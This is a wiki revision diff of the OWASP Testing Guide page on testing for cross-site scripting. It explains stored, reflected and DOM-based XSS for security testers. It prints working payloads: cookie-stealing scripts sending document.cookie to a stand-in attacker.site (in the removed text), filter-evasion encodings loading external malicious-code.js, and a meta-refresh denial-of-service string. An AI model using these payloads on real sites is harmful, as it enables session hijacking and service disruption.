Difference between revisions of "Testing for Cross site scripting"

Revision as of 12:50, 13 November 2006 (view source) Brennan (talk | contribs) ← Older edit		Latest revision as of 22:07, 6 August 2017 (view source) Dan Wallis (talk | contribs) m
(83 intermediate revisions by 18 users not shown)
Line 1:		Line 1:
−	[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>	+	[[Web Application Penetration Testing AoC|Up]]<br>
	{{Template:OWASP Testing Guide v2}}		{{Template:OWASP Testing Guide v2}}
−	== Brief Summary ==	+	== Overview ==
−	Cross Site Scripting (CSS for short, but sometimes abbreviated as XSS) is one of the most common application level attacks that hackers use to sneak into web applications today. It should be stressed that although the vulnerability exists at the web site, at no time is the web site directly harmed	+	[[Cross-site Scripting (XSS)]] attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.
		+
		+	==Related Security Activities==
		+
		+	===Description of Cross-site scripting Vulnerabilities===
		+
		+	See the OWASP articles on [[Cross-site Scripting (XSS)]] Vulnerabilities and [[DOM Based XSS]].
		+
		+	===How to Avoid Cross-site scripting Vulnerabilities===
		+
		+	See the [[:Category:OWASP Guide Project|OWASP Guide]] article on [[Phishing|Phishing]].
		+
		+	===How to Review Code for Cross-site scripting Vulnerabilities===
		+
		+	See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Cross-site scripting|Reviewing code for Cross-site scripting]] Vulnerabilities.
		+
		+	===XSS Filter Evasion Cheat Sheet===
		+
		+	The [[XSS Filter Evasion Cheat Sheet]] is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.
		+
		+	[[Category:Security Focus Area]]
		+	__NOTOC__
	== Description of the Issue ==		== Description of the Issue ==
		+	[[Category:FIXME|I think this whole section needs to be deleted]]
−	Cross site scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties – the attacker, and the web site, or the attacker and the victim client, the CSS attack involves three parties – the attacker, a client and the web site. The goal of the CSS attack is to steal the client cookies, or anyother sensitive information, which can identify the client with the web site. With the token of thelegitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site –specifically, impersonate the user.	+	[[XSS]] attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash, and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases, Cross Site Scripting vulnerabilities can perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.
−	===How to Test===	+	Cross Site Scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties (the attacker and the web site, or the attacker and the victim client) the XSS attack involves three parties -- the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies or any other sensitive information which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site, impersonating the user - Identity theft!
−	===Black Box testing and example===	+	Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the <Script> tag. Typically, XSS attacks involve malicious JavaScript, but they can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross Site Scripting is used in many Phishing attacks.
−	----
−	Let us call the site under attack: www.vulnerable.site. At the core of a traditional CSS attack lies a vulnerable script in the vulnerable site. This script readspart of the HTTP request (usually the parameters, but sometimes also HTTP headers or path) and echoes it back to the response page, in full or in part, without first sanitizing it i.e. making sure it doesn’t contain Javascript code and/or HTML tags. Suppose, therefore, that this script is named welcome.cgi, and its parameter is “name”.
−	It can be operated this way:GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0Host: www.vulnerable.site...	+	'''Now we explain the three types of Cross Site Scripting: Stored, Reflected, and DOM-Based.'''
−	And the response would be:<HTML> <Title>Welcome!</Title> Hi Joe Hacker<BR>Welcome to our system... </HTML>	+	The '''Stored Cross Site Scripting''' vulnerability is the most powerful kind of XSS attack. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entity encoding. A real life example of this would be the Samy MySpace Worm, which exploited an XSS vulnerability found on MySpace in October of 2005.
−	How can this be abused? Well, the attacker manages to lure the victim client into clicking a link theattacker supplies to him/her. This is a carefully and maliciously crafted link, which causes the webbrowser of the victim to access the site (www.vulnerable.site) and invoke the vulnerable script. The data to the script consists of a Javascript that accesses the cookies the client browser has forwww.vulnerable.site. It is allowed, since the client browser “experiences” the Javascript coming fromwww.vulnerable.site, and Javascript’s security model allows scripts arriving from a particular site toaccess cookies belonging to that	+	These vulnerabilities are the most significant of the XSS types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering, or the web application could even be infected by a cross-site scripting virus.
−	Such a link looks like: http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script> The victim, upon clicking the link, will generate a request to www.vulnerable.site, as follows:GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site... And the vulnerable site response would be: <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script><BR>Welcome to our system... </HTML> The victim client’s browser would interpret this response as an HTML page containing a piece ofJavascript code. This code, when executed, is allowed to access all cookies belonging towww.vulnerable.site, and therefore, it will pop-up a window at the client browser showing all clientcookies belonging to www.vulnerable.site. Of course, a real attack would consist of sending these cookies to the attacker. For this, the attackermay erect a web site (www.attacker.site), and use a script to receive the cookies. Instead of popping up a window, the attacker would write a code that accesses a URL at his/her own site (www.attacker.site),invoking the cookie reception script with a parameter being the stolen cookies. This way, the attacker can get the cookies from the www.attacker.site server.	+	'''Example'''
−	The malicious link would be: http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>	+	If we have a site that permits us to leave a message to the other user (a lesson of WebGoat v3.7), and we inject a script insted of a message in the following way:
−	And the response page would look like: <HTML> <Title>Welcome!</Title> Hi<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script><BR>Welcome to our system... </HTML>	+	<center>[[Image:XSSStored1.PNG]]</center>
−	The browser, immediately upon loading this page, would execute the embedded Javascript and would send a request to the collect.cgi script in www.attacker.site, with the value of the cookies ofwww.vulnerable.site that the browser already has.This compromises the cookies of www.vulnerable.site that the client has. It allows the attacker toimpersonate the victim. The privacy of the client is completely breached. It should be noted, that causing the Javascript pop-up window to emerge usually suffices to demonstrate that a site is vulnerable to a CSS attack. If Javascript’s “alert” function can be called, there’s usually no reason for the “window.open” call not to succeed. That is why most examples for CSS attacks use the alert function, which makes it very easy to detect its success.	+	Now the server will store this information and when a user clicks on our fake message, his browser will execute our script as follows:
−	Scope and feasibility The attack can take place only at the victim’s browser, the same one used to access the site(www.vulnerable.site). The attacker needs to force the client to access the malicious link. This can happen in several ways: - The attacker sends an email containing an HTML page that forces the browser to access thelink. This requires the victim use the HTML enabled email client, and the HTML viewer at theclient is the same browser used for accessing www.vulnerable.site.- The client visits a site, perhaps operated by the attacker, where a link to an image or otherwiseactive HTML forces the browser to access the link. Again, it is mandatory that the samebrowser be used for accessing this site and www.vulnerable.site.The malicious Javascript can access: - Permanent cookies (of www.vulnerable.site) maintained by the browser -RAM cookies (of www.vulnerable.site) maintained by this instance of the browser, only whenit is currently browsing www.vulnerable.site-Names of other windows opened for www.vulnerable.siteIdentification/authentication/authorization tokens are usually maintained as cookies. If these cookiesare permanent, the victim is vulnerable to the attack even if he/she is not using the browser at themoment to access www.vulnerable.site. If, however, the cookies are temporary i.e. RAM cookies, thenthe client must be in session with www.vulnerable.site. Other possible implementations for an identification token is a URL parameter. In such cases, it is possible to access other windows using Javascript as follows (assuming the name of the page whoseURL parameters are needed is “foobar”): <script>var victim_window=open('','foobar');alert('Can access: '+victim_window.location.search)</script>Variations on the theme It is possible to use many HTML tags, beside <SCRIPT> in order to run the Javascript. In fact, it isalso possible for the malicious Javascript code to reside on another server, and to force the client to download the script and execute it which can be useful if a lot of code is to be run, or when the code contains special characters.Some variations: Instead of <script>...</script>, one can use <img src=”javascript:...”> (good for sites that filter the <script> HTML tag)Instead of <script>...</script>, it is possible to use <script src=”http://...”> . This is good for a situation where the Javascript code is too long, or contains forbidden characters. Sometimes, the data embedded in the response page is found in non-free HTML context. In this case, it is first necessary to “escape” to the free context, and then to append the CSS attack. For example, if the data is injected as a default value of an HTML form field, e.g.: ... <input type=text name=user value=”...”> ...	+	<center>[[Image:XSSStored2.PNG]]</center>
−	Then it is necessary to include “> in the beginning of the data to ensure escaping to the free HTML context. The data would be:“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script> And the resulting HTML would be: ... <input type=text name=user value=”“><script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>”>... Other ways to perform (traditional) CSS attacks So far we’ve seen that a CSS attack can take place in a parameter of a GET request which is echoedback to the response by a script. But it is also possible to carry out the attack with POST request, orusing the path component of the HTTP request, and even using some HTTP headers (such as theReferer).Particularly, the path component is useful when an error page returns the erroneous path. In this case,often including the malicious script in the path will execute it. Many web servers are found vulnerableto this attack. What went wrong? It should be understood that although the web site is not directly affected by this attack -it continues tofunction normally, malicious code is not executed on the site, no DoS condition occurs, and data is notdirectly manipulated/read from the site- it is still a flaw in the privacy the site offers its’ clients. Justlike a site deploying an application with weak security tokens, wherein an attacker can guess thesecurity token of a victim client and impersonate him/her, the same can be said here. The weak spot in the application is the script that echoes back its parameter, regardless of its value. A good script makes sure that the parameter is of a proper format, and contains reasonable characters, etc. There is usually no good reason for a valid parameter to include HTML tags or Javascript code, and these should be removed from the parameter prior to it being embedded in the response or prior to processing it in the application, to be on the safe side!	+	The '''Reflected Cross-Site Scripting''' vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.
−	Securing a site against CSS attacks	+	At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack.
−	It is possible to secure a site against a CSS attack in three ways:	+	In some cases a Denial of Service attack can be performed on the server by doing the following:
−	1. By performing “in-house” input filtering (sometimes called “input sanitation”). For each userinput be it a parameter or an HTTP header, in each script written in-house, advanced filteringagainst HTML tags including Javascript code should be applied. For example, the“welcome.cgi” script from the above case study should filter the “<script>” tag once it isthrough decoding the “name” parameter.	+	article.php?title=<meta%20http-equiv="refresh"%20content="0;">
−	This method has some severe downsides:	+	This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests, potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes.
−	• It requires the application programmer to be well versed in security.
−	• It requires the programmer to cover all possible input sources (query parameters, bodyparameters of POST request, HTTP headers).
−	• It cannot defend against vulnerabilities in third party scripts/servers. For example, it won’t defend against problems in error pages in web servers (which display the path of the resource).
−	2. By performing “output filtering”, that is, to filter the user data when it is sent back to thebrowser, rather than when it is received by a script. A good example for this would be a scriptthat inserts the input data to a database, and then presents it. In this case, it is important not toapply the filter to the original input string, but only to the output version. The drawbacks aresimilar to the ones in input filtering. 3. By installing a third party application firewall, which intercepts CSS attacks before they reachthe web server and the vulnerable scripts, and blocks them. Application firewalls can cover allinput methods (including path and HTTP headers) in a generic way, regardless of thescript/path from the in-house application, a third party script, or a script describing no resourceat all (e.g. designed to provoke a 404 page response from the server). For each input source,the application firewall inspects the data against various HTML tag patterns and Java script patterns, and if any match, the request is rejected and the malicious input does not arrive to theserver. How to check if your site is protected from CSS Checking that a site is secure from CSS attacks is the logical conclusion of securing the site. Just like securing a site against CSS, checking that the site is indeed secure can be done manually (the hard way), or via an automated web application vulnerability assessment tool, which offloads the burden of checking. The tool crawls the site, and then launches all the variants it knows against all the scripts it found – trying the parameters, the headers and the paths. In both methods, each input to the application (parameters of all scripts, HTTP headers, path) is checked with as many variations aspossible, and if the response page contains the Javascript code in a context where the browser can execute it then a CSS vulnerability is exposed. For example, sending the text: <script>alert(document.cookie)</script>to each parameter of each script, via a Javascript enabled browser to reveal a CSS vulnerability of the simplest kind – the browser will pop up the Javascript alert window if the text is interpreted as Javascript code. Of course, there are several variants, and therefore, testing only the above variant is insufficient. And as we saw above, it is possible to inject Javascript into various fields of the request – the parameters, the HTTP headers, and the path. In some cases (notably the HTTP Referer header), it is awkward tocarry out the attack using a browser.	+	The '''DOM-based Cross-Site Scripting''' problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.
		+	Exploiting such a hole would be very similar to the exploitation of Reflected XSS vulnerabilities, except in one very important situation.
		+	For example, if an attacker hosts a malicious website which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.
−	=== Gray Box testing and example ===	+	The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how posting a stored XSS script to a popular blog, newspaper, or page comments section of a website can cause all the visitors of that page to have their internal networks scanned and logged for a particular type of vulnerability.
−	----	+
		+	==Black Box testing and example==
		+
		+	One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:<BR>
		+
		+	<nowiki>http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT></nowiki>
		+
		+	The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.
		+	All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult.
		+
		+	'''Example 1:'''
		+
		+	Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case, rendering Cross Site Scripting utilizing inline JavaScript useless.  If this is the case, you may want to use VBScript since it is not a case sensitive language.
		+
		+	JavaScript:
		+
		+	<script>alert(document.cookie);</script>
		+
		+	VBScript:
		+
		+	<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>
		+
		+	Also, you can use the SRC attribute to load the attacker's JavaScript from an external site (see Example 2 below), causing the JavaScript payload to be loaded directly and bypassing capitalization effects altogether.
		+
		+	'''Example 2:'''
		+
		+	If they are filtering for the < or the open of <script or closing of script> you should try various methods of encoding:
		+
		+	<nowiki><script src=http://www.example.com/malicious-code.js></script></nowiki>
		+
		+	<nowiki>%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e</nowiki>
		+
		+	<nowiki>\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e</nowiki>
		+
		+	You can find more examples of XSS Injection here: http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors
	== References ==		== References ==
Line 54:		Line 107:
	'''Whitepapers'''<br>		'''Whitepapers'''<br>
−	'''Tools'''<br>	+	* Jeremiah Grossman: "Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous"" - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf
		+
		+	* Amit Klien: "DOM Based Cross Site Scripting" - http://www.securiteam.com/securityreviews/5MP080KGKW.html
		+
		+	* Paul Lindner: "Preventing Cross-site Scripting Attacks" - http://www.perl.com/pub/a/2002/02/20/css.html
		+
		+	* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html
		+
		+	* Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.net/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf
		+
		+
		+	'''Tools'''
		+
		+	* '''PHP Charset Encoder(PCE)''' - http://yehg.net/encoding
		+	PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customized payloads.
		+
		+	* '''HackVector(HVR)''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php
	{{Category:OWASP Testing Project AoC}}		{{Category:OWASP Testing Project AoC}}

---

Latest revision as of 22:07, 6 August 2017

Up
OWASP Testing Guide v2 Table of Contents

Overview

Cross-site Scripting (XSS) attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

Related Security Activities

Description of Cross-site scripting Vulnerabilities

See the OWASP articles on Cross-site Scripting (XSS) Vulnerabilities and DOM Based XSS.

How to Avoid Cross-site scripting Vulnerabilities

See the OWASP Guide article on Phishing.

How to Review Code for Cross-site scripting Vulnerabilities

See the OWASP Code Review Guide article on how to Reviewing code for Cross-site scripting Vulnerabilities.

XSS Filter Evasion Cheat Sheet

The XSS Filter Evasion Cheat Sheet is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing.

Description of the Issue

XSS attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash, and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases, Cross Site Scripting vulnerabilities can perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.

Cross Site Scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties (the attacker and the web site, or the attacker and the victim client) the XSS attack involves three parties -- the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies or any other sensitive information which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site, impersonating the user - Identity theft!

Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the <Script> tag. Typically, XSS attacks involve malicious JavaScript, but they can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross Site Scripting is used in many Phishing attacks.

Now we explain the three types of Cross Site Scripting: Stored, Reflected, and DOM-Based.

The Stored Cross Site Scripting vulnerability is the most powerful kind of XSS attack. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entity encoding. A real life example of this would be the Samy MySpace Worm, which exploited an XSS vulnerability found on MySpace in October of 2005.

These vulnerabilities are the most significant of the XSS types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering, or the web application could even be infected by a cross-site scripting virus.

Example

If we have a site that permits us to leave a message to the other user (a lesson of WebGoat v3.7), and we inject a script insted of a message in the following way:

Now the server will store this information and when a user clicks on our fake message, his browser will execute our script as follows:

The Reflected Cross-Site Scripting vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.

At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack. In some cases a Denial of Service attack can be performed on the server by doing the following:

article.php?title=<meta%20http-equiv="refresh"%20content="0;">

This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests, potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes.

The DOM-based Cross-Site Scripting problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script. Exploiting such a hole would be very similar to the exploitation of Reflected XSS vulnerabilities, except in one very important situation.

For example, if an attacker hosts a malicious website which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.

The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how posting a stored XSS script to a popular blog, newspaper, or page comments section of a website can cause all the visitors of that page to have their internal networks scanned and logged for a particular type of vulnerability.

Black Box testing and example

One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:

http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT>

The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server. All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult.

Example 1:

Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case, rendering Cross Site Scripting utilizing inline JavaScript useless. If this is the case, you may want to use VBScript since it is not a case sensitive language.

JavaScript:

<script>alert(document.cookie);</script>

VBScript:

<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>

Also, you can use the SRC attribute to load the attacker's JavaScript from an external site (see Example 2 below), causing the JavaScript payload to be loaded directly and bypassing capitalization effects altogether.

Example 2:

If they are filtering for the < or the open of <script or closing of script> you should try various methods of encoding:

<script src=http://www.example.com/malicious-code.js></script>

%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e

\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e

You can find more examples of XSS Injection here: http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors

References

Whitepapers

• Jeremiah Grossman: "Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous"" - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf

• Amit Klien: "DOM Based Cross Site Scripting" - http://www.securiteam.com/securityreviews/5MP080KGKW.html

• Paul Lindner: "Preventing Cross-site Scripting Attacks" - http://www.perl.com/pub/a/2002/02/20/css.html

• CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html

• Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.net/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf

Tools

• PHP Charset Encoder(PCE) - http://yehg.net/encoding

PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customized payloads.

• HackVector(HVR) - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

---

OWASP Testing Guide v2

Here is the OWASP Testing Guide v2 Table of Contents